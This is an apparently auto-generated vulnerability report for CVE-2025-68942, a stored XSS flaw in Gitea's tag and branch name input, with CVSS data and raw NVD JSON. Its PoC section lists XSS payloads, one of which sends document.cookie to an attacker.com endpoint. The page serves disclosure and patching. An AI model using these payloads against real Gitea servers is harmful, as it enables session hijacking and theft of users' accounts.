Security Vulnerability Report
中文
CVE-2025-68942 CVSS 5.4 MEDIUM

CVE-2025-68942

Published: 2025-12-26 03:15:51
Last Modified: 2026-01-02 19:31:27

Description

Gitea before 1.22.2 allows XSS because the search input box (for creating tags and branches) is v-html instead of v-text.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:* - VULNERABLE
Gitea < 1.22.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68942 PoC - Gitea XSS via Tag/Branch Name // Steps to reproduce: // 1. Navigate to Gitea repository // 2. Go to "Create Tag" or "Create Branch" feature // 3. In the search/name input, inject the following payload: // Basic script injection payload: // <script>alert(document.cookie)</script> // Alternative event handler payload: // <img src=x onerror=alert('XSS')> // Example using SVG and onload event: // <svg onload=alert(document.domain)> // jQuery-based payload for session hijacking: // <script>$.getJSON('https://attacker.com/steal?c='+document.cookie)</script> // The injected script will execute when: // - Other users view the tag/branch list // - Users access repository tags/branches page // - Webhooks or notifications display the tag/branch name // Note: This PoC demonstrates the vulnerability; actual exploitation // requires the payload to be stored and rendered via v-html instead of v-text

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68942", "sourceIdentifier": "[email protected]", "published": "2025-12-26T03:15:51.117", "lastModified": "2026-01-02T19:31:26.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gitea before 1.22.2 allows XSS because the search input box (for creating tags and branches) is v-html instead of v-text."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.22.2", "matchCriteriaId": "C44BF23A-21FB-4E86-84C7-CC1E52CA9B3F"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.22.2/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/31966", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.22.2", "source": "[email protected]", "tags": ["Release Notes"]}]}}